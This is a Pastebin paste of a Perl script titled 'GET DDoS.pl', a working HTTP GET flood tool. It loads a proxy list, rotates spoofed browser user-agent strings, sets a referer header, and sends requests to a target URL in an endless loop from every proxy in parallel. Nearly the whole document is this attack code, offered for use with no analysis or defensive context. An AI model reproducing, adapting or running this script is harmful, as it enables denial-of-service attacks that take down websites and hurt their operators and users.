Guest User

GET DDoS.pl

a guest
Jan 26th, 2014
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.79 KB | None | 0 0
  1. use 5.010;
  2. use strict;
  3. use warnings;
  4. use autodie;
  5. use LWP;
  6. use AttackCoro;
  7. my $url = "http://site.com";
  8. my $referer = "http://site.com";
  9. my $proxylist = "proxy.txt";
  10. my $timeout = 1;
  11. my $max_errors = 0;
  12. my @agents  = (
  13. 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36',
  14. 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36',
  15. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36',
  16. 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36',
  17. 'Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36',
  18. 'Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0',
  19. 'Mozilla/5.0 (Windows NT 6.0; rv:26.0) Gecko/20100101 Firefox/26.0',
  20. 'Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0',
  21. 'Mozilla/5.0 (Windows NT 6.2; rv:26.0) Gecko/20100101 Firefox/26.0',
  22. 'Mozilla/5.0 (Windows NT 6.3; rv:26.0) Gecko/20100101 Firefox/26.0',
  23. 'Mozilla/5.0 (Windows NT 5.1; Trident/7.0; rv:11.0) like Gecko',
  24. 'Mozilla/5.0 (Windows NT 6.0; Trident/7.0; rv:11.0) like Gecko',
  25. 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
  26. 'Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko',
  27. 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko',
  28. 'Opera/9.80 (Windows NT 5.1) Presto/2.12 Version/12.16',
  29. 'Opera/9.80 (Windows NT 6.0) Presto/2.12 Version/12.16',
  30. 'Opera/9.80 (Windows NT 6.1) Presto/2.12 Version/12.16',
  31. 'Opera/9.80 (Windows NT 6.2) Presto/2.12 Version/12.16',
  32. 'Opera/9.80 (Windows NT 6.3) Presto/2.12 Version/12.16'
  33. );
  34. sub read_file($)
  35. {
  36. my($fname) = @_;
  37. open my $fh, "<", $fname;
  38. read $fh, my $data, -s $fname;
  39. return $data;
  40. }
  41. sub parse_proxies($)
  42. {
  43. my($text) = @_;
  44. my %tmp;
  45. my @proxies = grep { !$tmp{$_}++ } $text =~ m~((?:\w+://)?[a-z0-9\.]*?\.(?:.{2,3}|\d{1,3}):\d{2,4})~gm;
  46. my @result;
  47. my %ips;
  48. for my $proxy (@proxies)
  49. {
  50. my($ip) = $proxy =~ m~(?:\w+://)?(.*?):\d+~;
  51. next if length $ip < 8;
  52. push @result, $proxy unless $ips{$ip}++;
  53. }
  54. return map { m~^\w+://~ ? $_ : "http://$_" } @result;
  55. }
  56. sub read_proxylist($)
  57. {
  58. my($fname) = @_;
  59. return parse_proxies read_file $fname;
  60. }
  61. sub attack
  62. {
  63. my($proxy) = @_;
  64. my $lwp = new LWP::UserAgent;
  65. $lwp->default_header(Referer => $referer) if length $referer;
  66. $lwp->agent($agents[rand @agents]) if @agents;
  67. $lwp->proxy(["http", "https"], $proxy);
  68. my $errors = 0;
  69. while(1)
  70. {
  71. my $res = $lwp->get($url);
  72. #say "$proxy: ", $res->status_line;
  73. $errors++ unless $res->is_success;
  74. last if $max_errors && $errors >= $max_errors;
  75. sleep $timeout;
  76. }
  77. }
  78. my @proxies = read_proxylist $proxylist;
  79. my $pool = pool \&attack, \@proxies, { desc => "attack", debug => 1, join => 1 };
Advertisement
Add Comment
Please, Sign In to add comment